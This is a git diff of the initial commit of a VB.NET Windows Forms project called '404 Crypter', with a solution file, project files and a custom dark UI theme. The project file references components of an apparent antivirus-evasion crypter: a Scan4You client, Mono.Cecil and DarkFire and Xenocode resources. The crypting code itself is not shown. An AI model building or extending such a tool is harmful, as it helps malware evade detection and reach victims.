initial commit
This commit is contained in:
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2012
|
||||
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "ByteCrypter", "ByteCrypter\ByteCrypter.vbproj", "{3CC6310C-DD38-49AB-85EE-5BDD5CB29EB4}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{3CC6310C-DD38-49AB-85EE-5BDD5CB29EB4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{3CC6310C-DD38-49AB-85EE-5BDD5CB29EB4}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{3CC6310C-DD38-49AB-85EE-5BDD5CB29EB4}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{3CC6310C-DD38-49AB-85EE-5BDD5CB29EB4}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,218 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{3CC6310C-DD38-49AB-85EE-5BDD5CB29EB4}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<StartupObject>Crypter.My.MyApplication</StartupObject>
|
||||
<RootNamespace>Crypter</RootNamespace>
|
||||
<AssemblyName>404 Crypter</AssemblyName>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<MyType>WindowsForms</MyType>
|
||||
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
|
||||
<TargetFrameworkProfile>
|
||||
</TargetFrameworkProfile>
|
||||
<PublishUrl>publier\</PublishUrl>
|
||||
<Install>true</Install>
|
||||
<InstallFrom>Disk</InstallFrom>
|
||||
<UpdateEnabled>false</UpdateEnabled>
|
||||
<UpdateMode>Foreground</UpdateMode>
|
||||
<UpdateInterval>7</UpdateInterval>
|
||||
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
|
||||
<UpdatePeriodically>false</UpdatePeriodically>
|
||||
<UpdateRequired>false</UpdateRequired>
|
||||
<MapFileExtensions>true</MapFileExtensions>
|
||||
<ApplicationRevision>0</ApplicationRevision>
|
||||
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
|
||||
<IsWebBootstrapper>false</IsWebBootstrapper>
|
||||
<UseApplicationTrust>false</UseApplicationTrust>
|
||||
<BootstrapperEnabled>true</BootstrapperEnabled>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<DefineDebug>true</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DocumentationFile>404 Crypter.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<DefineDebug>false</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DocumentationFile>404 Crypter.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionExplicit>On</OptionExplicit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionCompare>Binary</OptionCompare>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionStrict>Off</OptionStrict>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionInfer>On</OptionInfer>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<ApplicationIcon>blackhole-eclipse-etoile-soleil-icone-7145.ico</ApplicationIcon>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<SignAssembly>false</SignAssembly>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<AssemblyOriginatorKeyFile>pourquoi.snk</AssemblyOriginatorKeyFile>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Mono.Cecil, Version=0.9.5.0, Culture=neutral, PublicKeyToken=0738eb9f132ed756, processorArchitecture=MSIL">
|
||||
<SpecificVersion>False</SpecificVersion>
|
||||
<HintPath>..\..\..\..\Mono.Cecil.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Web" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Import Include="Microsoft.VisualBasic" />
|
||||
<Import Include="System" />
|
||||
<Import Include="System.Collections" />
|
||||
<Import Include="System.Collections.Generic" />
|
||||
<Import Include="System.Data" />
|
||||
<Import Include="System.Drawing" />
|
||||
<Import Include="System.Diagnostics" />
|
||||
<Import Include="System.Windows.Forms" />
|
||||
<Import Include="System.Linq" />
|
||||
<Import Include="System.Xml.Linq" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Class1.vb" />
|
||||
<Compile Include="DesignTheme.vb">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Form1.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Form1.Designer.vb">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Http.vb" />
|
||||
<Compile Include="License.vb">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||
<Compile Include="My Project\Application.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Application.myapp</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Resources.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Settings.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
<Compile Include="Scan4You.vb" />
|
||||
<Compile Include="Scanner.Designer.vb">
|
||||
<DependentUpon>Scanner.vb</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Scanner.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="ThemeBase153.vb">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="My Project\Resources.resx">
|
||||
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="Scanner.resx">
|
||||
<DependentUpon>Scanner.vb</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="app.config" />
|
||||
<None Include="My Project\Application.myapp">
|
||||
<Generator>MyApplicationCodeGenerator</Generator>
|
||||
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
<None Include="My Project\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<CustomToolNamespace>My</CustomToolNamespace>
|
||||
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="pourquoi.snk" />
|
||||
<None Include="Resources\Mono.Cecil.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\pourquoi.snk" />
|
||||
<None Include="Resources\Source.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Asem.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="blackhole-eclipse-etoile-soleil-icone-7145.ico" />
|
||||
<None Include="Resources\Capture.png" />
|
||||
<None Include="Resources\DarkFire.dll" />
|
||||
<None Include="Resources\Xenocode.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<BootstrapperPackage Include=".NETFramework,Version=v4.0">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>Microsoft .NET Framework 4 %28x86 et x64%29</ProductName>
|
||||
<Install>true</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Client.3.5">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 3.5 SP1 Client Profile</ProductName>
|
||||
<Install>false</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>.NET Framework 3.5 SP1</ProductName>
|
||||
<Install>false</Install>
|
||||
</BootstrapperPackage>
|
||||
<BootstrapperPackage Include="Microsoft.Windows.Installer.4.5">
|
||||
<Visible>False</Visible>
|
||||
<ProductName>Windows Installer 4.5</ProductName>
|
||||
<Install>true</Install>
|
||||
</BootstrapperPackage>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
||||
@@ -0,0 +1,14 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<ProjectView>ProjectFiles</ProjectView>
|
||||
<PublishUrlHistory>publier\</PublishUrlHistory>
|
||||
<InstallUrlHistory />
|
||||
<SupportUrlHistory />
|
||||
<UpdateUrlHistory />
|
||||
<BootstrapperUrlHistory />
|
||||
<ErrorReportUrlHistory />
|
||||
<FallbackCulture>fr-FR</FallbackCulture>
|
||||
<VerifyUploadedFiles>false</VerifyUploadedFiles>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,811 @@
|
||||
Imports System.Drawing.Drawing2D
|
||||
Imports System.ComponentModel
|
||||
|
||||
'###################################################
|
||||
'# #
|
||||
'# COLOR BY Mavamaarten #
|
||||
'# #
|
||||
'# THEME & CODE BY Patak #
|
||||
'# #
|
||||
'###################################################
|
||||
|
||||
Public Class DesignForm
|
||||
#Region " Gestion du type de Control "
|
||||
|
||||
Inherits ContainerControl
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Initialisation de variable "
|
||||
|
||||
Private Locked As Boolean = False
|
||||
Private Position As Point = Nothing
|
||||
|
||||
Dim Couleur_Ecriture As Color = Color.FromArgb(70, 70, 70)
|
||||
Dim Couleur_BackColor As Color = Color.FromArgb(25, 25, 25)
|
||||
|
||||
Dim Couleur_Degrade1 As Color = Color.FromArgb(35, 35, 35)
|
||||
Dim Couleur_Degrade2 As Color = Color.FromArgb(25, 25, 25)
|
||||
|
||||
Dim Couleur_BordureExt As Color = Color.Black
|
||||
|
||||
Dim Couleur_BordureInt1_Haut As Color = Color.FromArgb(74, 74, 74)
|
||||
Dim Couleur_BordureInt1_Bas As Color = Color.FromArgb(39, 39, 39)
|
||||
Dim Couleur_BordureInt2 As Color = Color.FromArgb(43, 43, 43)
|
||||
|
||||
Dim Couleur_Separation1 As Color = Color.Black
|
||||
Dim Couleur_Separation2 As Color = Color.FromArgb(26, 128, 154)
|
||||
Dim Couleur_Separation3 As Color = Color.Black
|
||||
|
||||
Dim Hauteur_Barre As Integer = 33
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Gestion du New "
|
||||
|
||||
Sub New()
|
||||
Dock = DockStyle.Fill
|
||||
Font = New Font("Verdana", 10, FontStyle.Regular)
|
||||
SendToBack()
|
||||
DoubleBuffered = True
|
||||
Padding = New Padding(2, 36, 2, 2)
|
||||
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Propriétés "
|
||||
|
||||
Public Overrides Property Text As String
|
||||
Get
|
||||
Return MyBase.Text
|
||||
End Get
|
||||
Set(ByVal Value As String)
|
||||
MyBase.Text = Value
|
||||
Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Gestion et création du design "
|
||||
|
||||
Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
|
||||
MyBase.OnPaint(e)
|
||||
e.Graphics.SmoothingMode = SmoothingMode.Default
|
||||
|
||||
'BACKGROUND
|
||||
|
||||
e.Graphics.Clear(Couleur_BackColor)
|
||||
|
||||
'HAUT
|
||||
|
||||
Dim Rectangle_Haut As New Rectangle(0, 0, Width, Hauteur_Barre)
|
||||
Dim Haut_Brush As New LinearGradientBrush(Rectangle_Haut, Couleur_Degrade1, Couleur_Degrade2, LinearGradientMode.Vertical)
|
||||
e.Graphics.FillRectangle(Haut_Brush, Rectangle_Haut)
|
||||
Haut_Brush.Dispose()
|
||||
|
||||
'ECRITURE
|
||||
|
||||
Dim StringFormat As New StringFormat
|
||||
StringFormat.LineAlignment = StringAlignment.Center
|
||||
StringFormat.Alignment = StringAlignment.Near
|
||||
|
||||
Dim Rectangle_Ecriture As New Rectangle(15, 0, Width - 15, Hauteur_Barre)
|
||||
|
||||
e.Graphics.DrawString(Text, Font, New SolidBrush(Couleur_Ecriture), Rectangle_Ecriture, StringFormat)
|
||||
StringFormat.Dispose()
|
||||
|
||||
'BORDURE INT1
|
||||
|
||||
Dim Rectangle_BordureInt1 As New Rectangle(1, 1, Width - 3, Hauteur_Barre - 4)
|
||||
Dim Rectangle_BordureInt1_AvecBordure As New Rectangle(0, 0, Width - 1, Hauteur_Barre - 2)
|
||||
|
||||
Dim Brush_BordureInt1 As New LinearGradientBrush(Rectangle_BordureInt1_AvecBordure, Couleur_BordureInt1_Haut, Couleur_BordureInt1_Bas, LinearGradientMode.Vertical)
|
||||
e.Graphics.DrawRectangle(New Pen(Brush_BordureInt1, 1), Rectangle_BordureInt1)
|
||||
|
||||
'BORDURE INT2
|
||||
|
||||
Dim Rectangle_BordureInt2 As New Rectangle(1, Hauteur_Barre + 2, Width - 3, Height - Hauteur_Barre - 4)
|
||||
e.Graphics.DrawRectangle(New Pen(Couleur_BordureInt2, 1), Rectangle_BordureInt2)
|
||||
|
||||
'SEPARATION
|
||||
|
||||
Dim Separation_Point1 As New Point(0, Hauteur_Barre)
|
||||
Dim Separation_Point2 As New Point(Width, Hauteur_Barre)
|
||||
|
||||
Dim Separation_Brush As New LinearGradientBrush(Separation_Point1, Separation_Point2, Color.Black, Color.Black)
|
||||
|
||||
Dim ColorBlend As New ColorBlend
|
||||
ColorBlend.Colors = New Color() {Couleur_Separation1, Couleur_Separation2, Couleur_Separation3}
|
||||
ColorBlend.Positions = New Single() {0, 0.5, 1}
|
||||
|
||||
Separation_Brush.InterpolationColors = ColorBlend
|
||||
|
||||
e.Graphics.DrawLine(New Pen(Separation_Brush, 2), Separation_Point1, Separation_Point2)
|
||||
|
||||
Separation_Brush.Dispose()
|
||||
|
||||
'BORDURE EXT1
|
||||
|
||||
Dim Rectangle_BordureExt1 As New Rectangle(0, 0, Width - 1, Hauteur_Barre - 2)
|
||||
e.Graphics.DrawRectangle(New Pen(Couleur_BordureExt, 1), Rectangle_BordureExt1)
|
||||
|
||||
'BORDURE EXT2
|
||||
|
||||
Dim Rectangle_BordureExt2 As New Rectangle(0, Hauteur_Barre + 1, Width - 1, Height - Hauteur_Barre - 2)
|
||||
e.Graphics.DrawRectangle(New Pen(Couleur_BordureExt, 1), Rectangle_BordureExt2)
|
||||
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Gestion des actions "
|
||||
|
||||
Protected Overrides Sub OnHandleCreated(ByVal e As System.EventArgs)
|
||||
MyBase.OnHandleCreated(e)
|
||||
FindForm.FormBorderStyle = FormBorderStyle.None
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs)
|
||||
MyBase.OnMouseDown(e)
|
||||
Dim Rectangle As New Rectangle(0, 0, Width, Hauteur_Barre)
|
||||
If (Rectangle.Contains(e.Location)) Then
|
||||
Locked = True
|
||||
Position = e.Location
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnMouseUp(ByVal e As System.Windows.Forms.MouseEventArgs)
|
||||
MyBase.OnMouseUp(e)
|
||||
Locked = False
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnMouseMove(ByVal e As System.Windows.Forms.MouseEventArgs)
|
||||
MyBase.OnMouseMove(e)
|
||||
If (Locked) Then
|
||||
FindForm.Location = Cursor.Position - Position
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnResize(ByVal e As System.EventArgs)
|
||||
MyBase.OnResize(e)
|
||||
Invalidate()
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
End Class
|
||||
|
||||
Public Class DesignControlBox
|
||||
#Region " Gestion du type de Control "
|
||||
|
||||
Inherits Control
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Initialisation de variable "
|
||||
|
||||
Dim Couleur_Ecriture_None As Color = Color.FromArgb(70, 70, 70)
|
||||
Dim Couleur_Ecriture_Over As Color = Color.FromArgb(150, 150, 150)
|
||||
Dim Couleur_Ecriture_Down As Color = Color.FromArgb(200, 200, 200)
|
||||
|
||||
Dim Etat_Bouton As Etat = Etat.None
|
||||
Dim Position As New Point
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Initialisation des Enum "
|
||||
|
||||
Enum Etat As Integer
|
||||
None
|
||||
Over
|
||||
Down
|
||||
End Enum
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Gestion du New "
|
||||
|
||||
Sub New()
|
||||
Me.Size = New Size(40, 20)
|
||||
Me.SetStyle(ControlStyles.SupportsTransparentBackColor, True)
|
||||
Me.BackColor = Color.Transparent
|
||||
Me.Anchor = AnchorStyles.Top Or AnchorStyles.Right
|
||||
DoubleBuffered = True
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Gestion et création du design "
|
||||
|
||||
Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
|
||||
MyBase.OnPaint(e)
|
||||
e.Graphics.SmoothingMode = SmoothingMode.Default
|
||||
|
||||
Dim Point_Min As New Point(2, 4)
|
||||
Dim Point_Close As New Point(22, 5)
|
||||
|
||||
'GESTION DES ETATS
|
||||
|
||||
Dim Couleur_Ecriture As Color
|
||||
|
||||
Select Case Etat_Bouton
|
||||
Case Etat.None
|
||||
Couleur_Ecriture = Couleur_Ecriture_None
|
||||
Case Etat.Over
|
||||
Couleur_Ecriture = Couleur_Ecriture_Over
|
||||
Case Etat.Down
|
||||
Couleur_Ecriture = Couleur_Ecriture_Down
|
||||
End Select
|
||||
|
||||
'ECRITURE
|
||||
|
||||
If (Position.X <= 20) Then
|
||||
e.Graphics.DrawString("0", New Font("Marlett", 8), New SolidBrush(Couleur_Ecriture), Point_Min)
|
||||
e.Graphics.DrawString("r", New Font("Marlett", 8), New SolidBrush(Couleur_Ecriture_None), Point_Close)
|
||||
Else
|
||||
e.Graphics.DrawString("0", New Font("Marlett", 8), New SolidBrush(Couleur_Ecriture_None), Point_Min)
|
||||
e.Graphics.DrawString("r", New Font("Marlett", 8), New SolidBrush(Couleur_Ecriture), Point_Close)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Gestion des actions "
|
||||
|
||||
Protected Overrides Sub OnMouseMove(e As System.Windows.Forms.MouseEventArgs)
|
||||
MyBase.OnMouseMove(e)
|
||||
Position = e.Location
|
||||
Invalidate()
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnClick(e As System.EventArgs)
|
||||
MyBase.OnClick(e)
|
||||
If (Position.X <= 20) Then
|
||||
FindForm.WindowState = FormWindowState.Minimized
|
||||
Else
|
||||
FindForm.Close()
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnMouseEnter(ByVal e As System.EventArgs)
|
||||
MyBase.OnMouseEnter(e)
|
||||
Etat_Bouton = Etat.Over
|
||||
Invalidate()
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnMouseLeave(ByVal e As System.EventArgs)
|
||||
MyBase.OnMouseLeave(e)
|
||||
Etat_Bouton = Etat.None
|
||||
Invalidate()
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs)
|
||||
MyBase.OnMouseDown(e)
|
||||
Etat_Bouton = Etat.Down
|
||||
Invalidate()
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnMouseUp(ByVal e As System.Windows.Forms.MouseEventArgs)
|
||||
MyBase.OnMouseUp(e)
|
||||
Etat_Bouton = Etat.Over
|
||||
Invalidate()
|
||||
End Sub
|
||||
|
||||
Protected Overrides Sub OnResize(ByVal e As System.EventArgs)
|
||||
MyBase.OnResize(e)
|
||||
Invalidate()
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
End Class
|
||||
|
||||
Public Class DesignGroupBox
|
||||
#Region " Gestion du type de Control "
|
||||
|
||||
Inherits ContainerControl
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Initialisation de variable "
|
||||
|
||||
Dim Couleur_Ecriture As Color = Color.DarkGray
|
||||
Dim Couleur_BackColor As Color = Color.FromArgb(27, 27, 27)
|
||||
|
||||
Dim Couleur_Degrade1 As Color = Color.FromArgb(39, 39, 39)
|
||||
Dim Couleur_Degrade2 As Color = Color.FromArgb(24, 24, 24)
|
||||
|
||||
Dim Couleur_BordureExt As Color = Color.Black
|
||||
|
||||
Dim Couleur_BordureInt1_Haut As Color = Color.FromArgb(52, 52, 52)
|
||||
Dim Couleur_BordureInt1_Bas As Color = Color.FromArgb(37, 37, 37)
|
||||
Dim Couleur_BordureInt2 As Color = Color.FromArgb(43, 43, 43)
|
||||
|
||||
Dim Couleur_Separation As Color = Color.Black
|
||||
|
||||
Dim Hauteur_Barre As Integer = 25
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Gestion du New "
|
||||
|
||||
Sub New()
|
||||
Me.Size = New Size(172, 108)
|
||||
Font = New Font("Verdana", 8.25, FontStyle.Regular)
|
||||
DoubleBuffered = True
|
||||
Padding = New Padding(2, 27, 2, 2)
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Propriétés "
|
||||
|
||||
Public Overrides Property Text As String
|
||||
Get
|
||||
Return MyBase.Text
|
||||
End Get
|
||||
Set(ByVal Value As String)
|
||||
MyBase.Text = Value
|
||||
Invalidate()
|
||||
End Set
|
||||
End Property
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Gestion et création du design "
|
||||
|
||||
Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
|
||||
MyBase.OnPaint(e)
|
||||
e.Graphics.SmoothingMode = SmoothingMode.Default
|
||||
|
||||
'BACKGROUND
|
||||
|
||||
e.Graphics.Clear(Couleur_BackColor)
|
||||
|
||||
'HAUT
|
||||
|
||||
Dim Rectangle_Haut As New Rectangle(0, 0, Width, Hauteur_Barre)
|
||||
Dim Haut_Brush As New LinearGradientBrush(Rectangle_Haut, Couleur_Degrade1, Couleur_Degrade2, LinearGradientMode.Vertical)
|
||||
e.Graphics.FillRectangle(Haut_Brush, Rectangle_Haut)
|
||||
Haut_Brush.Dispose()
|
||||
|
||||
'ECRITURE
|
||||
|
||||
Dim StringFormat As New StringFormat
|
||||
StringFormat.LineAlignment = StringAlignment.Center
|
||||
StringFormat.Alignment = StringAlignment.Near
|
||||
|
||||
Dim Rectangle_Ecriture As New Rectangle(9, 2, Width - 9, Hauteur_Barre - 2)
|
||||
|
||||
e.Graphics.DrawString(Text, Font, New SolidBrush(Couleur_Ecriture), Rectangle_Ecriture, StringFormat)
|
||||
StringFormat.Dispose()
|
||||
|
||||
'BORDURE INT1
|
||||
|
||||
Dim Rectangle_BordureInt1 As New Rectangle(1, 1, Width - 3, Hauteur_Barre - 2)
|
||||
Dim Rectangle_BordureInt1_AvecBordure As New Rectangle(0, 0, Width - 1, Hauteur_Barre)
|
||||
|
||||
Dim Brush_BordureInt1 As New LinearGradientBrush(Rectangle_BordureInt1_AvecBordure, Couleur_BordureInt1_Haut, Couleur_BordureInt1_Bas, LinearGradientMode.Vertical)
|
||||
e.Graphics.DrawRectangle(New Pen(Brush_BordureInt1, 1), Rectangle_BordureInt1)
|
||||
|
||||
'BORDURE INT2
|
||||
|
||||
Dim Rectangle_BordureInt2 As New Rectangle(1, Hauteur_Barre, Width - 3, Height - Hauteur_Barre - 2)
|
||||
e.Graphics.DrawRectangle(New Pen(Couleur_BordureInt2, 1), Rectangle_BordureInt2)
|
||||
|
||||
'SEPARATION
|
||||
|
||||
Dim Separation_Point1 As New Point(0, Hauteur_Barre)
|
||||
Dim Separation_Point2 As New Point(Width, Hauteur_Barre)
|
||||
|
||||
e.Graphics.DrawLine(New Pen(Couleur_Separation, 1), Separation_Point1, Separation_Point2)
|
||||
|
||||
'BORDURE EXT
|
||||
|
||||
Dim Rectangle_BordureExt As New Rectangle(0, 0, Width - 1, Height - 1)
|
||||
e.Graphics.DrawRectangle(New Pen(Couleur_BordureExt, 1), Rectangle_BordureExt)
|
||||
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Gestion des actions "
|
||||
|
||||
Protected Overrides Sub OnResize(ByVal e As System.EventArgs)
|
||||
MyBase.OnResize(e)
|
||||
Invalidate()
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
End Class
|
||||
|
||||
Public Class DesignButton
|
||||
#Region " Gestion du type de Control "
|
||||
|
||||
Inherits Control
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Initialisation de variable "
|
||||
|
||||
Dim Couleur_Ecriture As Color = Color.FromArgb(170, 170, 170)
|
||||
|
||||
Dim Couleur_Degrade1_None As Color = Color.FromArgb(40, 40, 40)
|
||||
Dim Couleur_Degrade2_None As Color = Color.FromArgb(20, 20, 20)
|
||||
|
||||
Dim Couleur_Degrade1_Over As Color = Color.FromArgb(46, 46, 46)
|
||||
Dim Couleur_Degrade2_Over As Color = Color.FromArgb(26, 26, 26)
|
||||
|
||||
Dim Couleur_Degrade1_Down As Color = Color.FromArgb(37, 37, 37)
|
||||
Dim Couleur_Degrade2_Down As Color = Color.FromArgb(18, 18, 18)
|
||||
|
||||
Dim Couleur_BordureExt As Color = Color.Black
|
||||
|
||||
Dim Couleur_BordureInt_Haut_None As Color = Color.FromArgb(53, 53, 53)
|
||||
Dim Couleur_BordureInt_Bas_None As Color = Color.FromArgb(34, 34, 34)
|
||||
|
||||
Dim Couleur_BordureInt_Haut_Over As Color = Color.FromArgb(58, 58, 58)
|
||||
Dim Couleur_BordureInt_Bas_Over As Color = Color.FromArgb(39, 39, 39)
|
||||
|
||||
Dim Couleur_BordureInt_Haut_Down As Color = Color.FromArgb(50, 50, 50)
|
||||
Dim Couleur_BordureInt_Bas_Down As Color = Color.FromArgb(32, 32, 32)
|
||||
|
||||
Dim Etat_Bouton As Etat = Etat.None
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Initialisation des Enum "
|
||||
|
||||
Enum Etat As Integer
|
||||
None
|
||||
Over
|
||||
Down
|
||||
End Enum
|
||||
|
||||
#End Region
|
